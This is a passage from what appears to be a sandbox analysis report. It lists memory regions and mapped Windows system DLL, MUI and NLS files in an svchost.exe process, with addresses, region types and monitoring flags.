0x203338f0000 end_va = 0x203338f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 1000 start_va = 0x20333900000 end_va = 0x203339fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333900000" filename = "" Region: id = 1001 start_va = 0x20333a00000 end_va = 0x20333d36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1002 start_va = 0x20333d40000 end_va = 0x20333d44fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 1003 start_va = 0x20333d50000 end_va = 0x20333d5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 1004 start_va = 0x20333d60000 end_va = 0x20333d62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 1005 start_va = 0x20333d70000 end_va = 0x20333d70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020333d70000" filename = "" Region: id = 1006 start_va = 0x20333d80000 end_va = 0x20333d89fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 1007 start_va = 0x20333d90000 end_va = 0x20333d91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 1008 start_va = 0x20333da0000 end_va = 0x20333da6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333da0000" filename = "" Region: id = 1009 start_va = 0x20333db0000 end_va = 0x20333dc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 1010 start_va = 0x20333dd0000 end_va = 0x20333de0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1011 start_va = 0x20333df0000 end_va = 0x20333df6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333df0000" filename = "" Region: id = 1012 start_va = 0x20333e00000 end_va = 0x20333efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020333e00000" filename = "" Region: id = 1013 start_va = 0x20333f00000 end_va = 0x20333f10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 1014 start_va = 0x20333f20000 end_va = 0x20333f30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 1015 start_va = 0x20333f40000 end_va = 0x20333f50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 1016 start_va = 0x20333f60000 end_va = 0x20333f70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 1017 start_va = 0x20333f80000 end_va = 0x20333f90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 1018 start_va = 0x20333fa0000 end_va = 0x20333fc7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 1019 start_va = 0x20333fd0000 end_va = 0x20333fd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 1020 start_va = 0x20333fe0000 end_va = 0x20333ff0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 1021 start_va = 0x20334000000 end_va = 0x20334001fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334000000" filename = "" Region: id = 1022 start_va = 0x20334010000 end_va = 0x20334016fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334010000" filename = "" Region: id = 1023 start_va = 0x20334020000 end_va = 0x20334050fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 1024 start_va = 0x20334060000 end_va = 0x20334070fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 1025 start_va = 0x20334080000 end_va = 0x203340b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 1026 start_va = 0x203340c0000 end_va = 0x203340f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 1027 start_va = 0x20334100000 end_va = 0x203341fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334100000" filename = "" Region: id = 1028 start_va = 0x20334200000 end_va = 0x203342fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334200000" filename = "" Region: id = 1029 start_va = 0x20334300000 end_va = 0x203343fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334300000" filename = "" Region: id = 1030 start_va = 0x20334410000 end_va = 0x20334411fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334410000" filename = "" Region: id = 1031 start_va = 0x20334440000 end_va = 0x20334446fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334440000" filename = "" Region: id = 1032 start_va = 0x20334500000 end_va = 0x20334531fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\System32\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netmsg.dll.mui") Region: id = 1033 start_va = 0x20334600000 end_va = 0x203346fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334600000" filename = "" Region: id = 1034 start_va = 0x20334700000 end_va = 0x203347fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334700000" filename = "" Region: id = 1035 start_va = 0x20334800000 end_va = 0x203348fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334800000" filename = "" Region: id = 1036 start_va = 0x20334900000 end_va = 0x203349fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334900000" filename = "" Region: id = 1037 start_va = 0x20334a00000 end_va = 0x20334afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334a00000" filename = "" Region: id = 1038 start_va = 0x20334b00000 end_va = 0x20334bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334b00000" filename = "" Region: id = 1039 start_va = 0x20334c00000 end_va = 0x20334cfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334c00000" filename = "" Region: id = 1040 start_va = 0x20334d00000 end_va = 0x20334dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334d00000" filename = "" Region: id = 1041 start_va = 0x20334f70000 end_va = 0x20334f76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334f70000" filename = "" Region: id = 1042 start_va = 0x20334f80000 end_va = 0x20334f86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020334f80000" filename = "" Region: id = 1043 start_va = 0x20335000000 end_va = 0x203350fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335000000" filename = "" Region: id = 1044 start_va = 0x20335100000 end_va = 0x203351fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335100000" filename = "" Region: id = 1045 start_va = 0x20335200000 end_va = 0x203352fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335200000" filename = "" Region: id = 1046 start_va = 0x20335300000 end_va = 0x203353fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335300000" filename = "" Region: id = 1047 start_va = 0x20335400000 end_va = 0x203354fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335400000" filename = "" Region: id = 1048 start_va = 0x20335500000 end_va = 0x203355fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335500000" filename = "" Region: id = 1049 start_va = 0x20335600000 end_va = 0x203356fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335600000" filename = "" Region: id = 1050 start_va = 0x20335700000 end_va = 0x203357fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335700000" filename = "" Region: id = 1051 start_va = 0x20335800000 end_va = 0x203358fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335800000" filename = "" Region: id = 1052 start_va = 0x20335900000 end_va = 0x203359fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335900000" filename = "" Region: id = 1053 start_va = 0x20335a00000 end_va = 0x20335afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335a00000" filename = "" Region: id = 1054 start_va = 0x20335b00000 end_va = 0x20335bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335b00000" filename = "" Region: id = 1055 start_va = 0x20335c00000 end_va = 0x20335cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335c00000" filename = "" Region: id = 1056 start_va = 0x20335d00000 end_va = 0x20335dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020335d00000" filename = "" Region: id = 1057 start_va = 0x7df5ffc50000 end_va = 0x7ff5ffc4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc50000" filename = "" Region: id = 1058 start_va = 0x7ff65acd0000 end_va = 0x7ff65adcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65acd0000" filename = "" Region: id = 1059 start_va = 0x7ff65add0000 end_va = 0x7ff65adf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65add0000" filename = "" Region: id = 1060 start_va = 0x7ff65b180000 end_va = 0x7ff65b18cfff monitored = 0 entry_point = 0x7ff65b183980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1061 start_va = 0x7fffd3bc0000 end_va = 0x7fffd3bd7fff monitored = 0 entry_point = 0x7fffd3bc1b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 1062 start_va = 0x7fffd47c0000 end_va = 0x7fffd47d6fff monitored = 0 entry_point = 0x7fffd47c7520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 1063 start_va = 0x7fffd47e0000 end_va = 0x7fffd48b4fff monitored = 0 entry_point = 0x7fffd47fcf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1064 start_va = 0x7fffd4c90000 end_va = 0x7fffd4f3ffff monitored = 0 entry_point = 0x7fffd4c91cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1065 start_va = 0x7fffd6700000 end_va = 0x7fffd6743fff monitored = 0 entry_point = 0x7fffd67283e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 1066 start_va = 0x7fffd6750000 end_va = 0x7fffd6771fff monitored = 0 entry_point = 0x7fffd6762540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 1067 start_va = 0x7fffd6780000 end_va = 0x7fffd67dcfff monitored = 0 entry_point = 0x7fffd67ae510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 1068 start_va = 0x7fffd6890000 end_va = 0x7fffd6897fff monitored = 0 entry_point = 0x7fffd68913b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 1069 start_va = 0x7fffd6ef0000 end_va = 0x7fffd6ffefff monitored = 0 entry_point = 0x7fffd6f2c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 1070 start_va = 0x7fffd7000000 end_va = 0x7fffd703efff monitored = 0 entry_point = 0x7fffd70282d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1071 start_va = 0x7fffd7d80000 end_va = 0x7fffd7d97fff monitored = 0 entry_point = 0x7fffd7d8b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 1072 start_va = 0x7fffd7df0000 end_va = 0x7fffd7e01fff monitored = 0 entry_point = 0x7fffd7df1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 1073 start_va = 0x7fffd8730000 end_va = 0x7fffd884cfff monitored = 0 entry_point = 0x7fffd875fe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1074 start_va = 0x7fffd90b0000 end_va = 0x7fffd90f5fff monitored = 0 entry_point = 0x7fffd90b79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 1075 start_va = 0x7fffdafe0000 end_va = 0x7fffdb046fff monitored = 0 entry_point = 0x7fffdafeb160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1076 start_va = 0x7fffdb330000 end_va = 0x7fffdb339fff monitored = 0 entry_point = 0x7fffdb331350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1077 start_va = 0x7fffdb7d0000 end_va = 0x7fffdb7e3fff monitored = 0 entry_point = 0x7fffdb7d3710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 1078 start_va = 0x7fffdb880000 end_va = 0x7fffdb89dfff monitored = 0 entry_point = 0x7fffdb88ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 1079 start_va = 0x7fffdbbb0000 end_va = 0x7fffdbbc5fff monitored = 0 entry_point = 0x7fffdbbb1af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1080 start_va = 0x7fffdbbd0000 end_va = 0x7fffdbbe9fff monitored = 0 entry_point = 0x7fffdbbd2330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1081 start_va = 0x7fffdbbf0000 end_va = 0x7fffdbc00fff monitored = 0 entry_point = 0x7fffdbbf7480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 1082 start_va = 0x7fffdbc10000 end_va = 0x7fffdbc93fff monitored = 0 entry_point = 0x7fffdbc28d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1083 start_va = 0x7fffdbca0000 end_va = 0x7fffdbcb5fff monitored = 0 entry_point = 0x7fffdbca55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1084 start_va = 0x7fffdbcc0000 end_va = 0x7fffdbd95fff monitored = 0 entry_point = 0x7fffdbcea800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1085 start_va = 0x7fffdbda0000 end_va = 0x7fffdbdaefff monitored = 0 entry_point = 0x7fffdbda4960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1086 start_va = 0x7fffdbdb0000 end_va = 0x7fffdbe13fff monitored = 0 entry_point = 0x7fffdbdcbed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1087 start_va = 0x7fffdbe20000 end_va = 0x7fffdbe44fff monitored = 0 entry_point = 0x7fffdbe29900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1088 start_va = 0x7fffdbe90000 end_va = 0x7fffdbf85fff monitored = 0 entry_point = 0x7fffdbec9590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1089 start_va = 0x7fffdbf90000 end_va = 0x7fffdc003fff monitored = 0 entry_point = 0x7fffdbfa5eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1090 start_va = 0x7fffdc010000 end_va = 0x7fffdc146fff monitored = 0 entry_point = 0x7fffdc050480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1091 start_va = 0x7fffdc180000 end_va = 0x7fffdc18cfff monitored = 0 entry_point = 0x7fffdc181420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1092 start_va = 0x7fffdc1c0000 end_va = 0x7fffdc1d0fff monitored = 0 entry_point = 0x7fffdc1c2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1093 start_va = 0x7fffdc1e0000 end_va = 0x7fffdc1fdfff monitored = 0 entry_point = 0x7fffdc1e3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1094 start_va = 0x7fffdc200000 end_va = 0x7fffdc281fff monitored = 0 entry_point = 0x7fffdc202a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1095 start_va = 0x7fffdc430000 end_va = 0x7fffdc43bfff monitored = 0 entry_point = 0x7fffdc4335c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1096 start_va = 0x7fffdc490000 end_va = 0x7fffdc4cffff monitored = 0 entry_point = 0x7fffdc49cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 1097 start_va = 0x7fffdc4d0000 end_va = 0x7fffdc516fff monitored = 0 entry_point = 0x7fffdc4d1d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 1098 start_va = 0x7fffdc580000 end_va = 0x7fffdc5c1fff monitored = 0 entry_point = 0x7fffdc583670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1099 start_va = 0x7fffdc860000 end_va = 0x7fffdc87efff monitored = 0 entry_point = 0x7fffdc8637e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 1100 start_va = 0x7fffdc880000 end_va = 0x7fffdc8f8fff monitored = 0 entry_point = 0x7fffdc8876a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 1101 start_va = 0x7fffdc990000 end_va = 0x7fffdca32fff monitored = 0 entry_point = 0x7fffdc992c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1102 start_va = 0x7fffdca40000 end_va = 0x7fffdca91fff monitored = 0 entry_point = 0x7fffdca45770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1103 start_va = 0x7fffdcaa0000 end_va = 0x7fffdcab7fff monitored = 0 entry_point = 0x7fffdcaa4e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 1104 start_va = 0x7fffdcac0000 end_va = 0x7fffdcae4fff monitored = 0 entry_point = 0x7fffdcac5ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 1105 start_va = 0x7fffdcaf0000 end_va = 0x7fffdcb1dfff monitored = 1 entry_point = 0x7fffdcaf2300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 1106 start_va = 0x7fffdcb20000 end_va = 0x7fffdcb7dfff monitored = 0 entry_point = 0x7fffdcb25080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 1107 start_va = 0x7fffdcb80000 end_va = 0x7fffdcb9ffff monitored = 0 entry_point = 0x7fffdcb81f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 1108 start_va = 0x7fffdcba0000 end_va = 0x7fffdcba8fff monitored = 0 entry_point = 0x7fffdcba18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 1109 start_va = 0x7fffdcbb0000 end_va = 0x7fffdcbc0fff monitored = 0 entry_point = 0x7fffdcbb1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1110 start_va = 0x7fffdcbe0000 end_va = 0x7fffdcc20fff monitored = 0 entry_point = 0x7fffdcbe3750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1111 start_va = 0x7fffdcc30000 end_va = 0x7fffdcd22fff monitored = 0 entry_point = 0x7fffdcc55d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1112 start_va = 0x7fffdedb0000 end_va = 0x7fffdedfbfff monitored = 0 entry_point = 0x7fffdedc5310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1113 start_va = 0x7fffdee20000 end_va = 0x7fffdee37fff monitored = 0 entry_point = 0x7fffdee22000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1114 start_va = 0x7fffdee40000 end_va = 0x7fffdefc1fff monitored = 0 entry_point = 0x7fffdee582a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1115 start_va = 0x7fffdf030000 end_va = 0x7fffdf0aefff monitored = 0 entry_point = 0x7fffdf047110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1116 start_va = 0x7fffdf0b0000 end_va = 0x7fffdf0ebfff monitored = 0 entry_point = 0x7fffdf0b6aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1117 start_va = 0x7fffdfc70000 end_va = 0x7fffdfca4fff monitored = 0 entry_point = 0x7fffdfc7a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 1118 start_va = 0x7fffe1b10000 end_va = 0x7fffe1b4ffff monitored = 0 entry_point = 0x7fffe1b26c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1119 start_va = 0x7fffe1b50000 end_va = 0x7fffe1b58fff monitored = 0 entry_point = 0x7fffe1b521d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 1120 start_va = 0x7fffe49b0000 end_va = 0x7fffe49e1fff monitored = 0 entry_point = 0x7fffe49bb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1121 start_va = 0x7fffe4f60000 end_va = 0x7fffe4f71fff monitored = 0 entry_point = 0x7fffe4f63580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1122 start_va = 0x7fffe4ff0000 end_va = 0x7fffe500afff monitored = 0 entry_point = 0x7fffe4ff1040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1123 start_va = 0x7fffe5010000 end_va = 0x7fffe5019fff monitored = 0 entry_point = 0x7fffe50114c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1124 start_va = 0x7fffe51f0000 end_va = 0x7fffe526ffff monitored = 0 entry_point = 0x7fffe521d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1125 start_va = 0x7fffe5270000 end_va = 0x7fffe527bfff monitored = 0 entry_point = 0x7fffe5272830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 1126 start_va = 0x7fffe5280000 end_va = 0x7fffe528dfff monitored = 0 entry_point = 0x7fffe5281460 region_type = 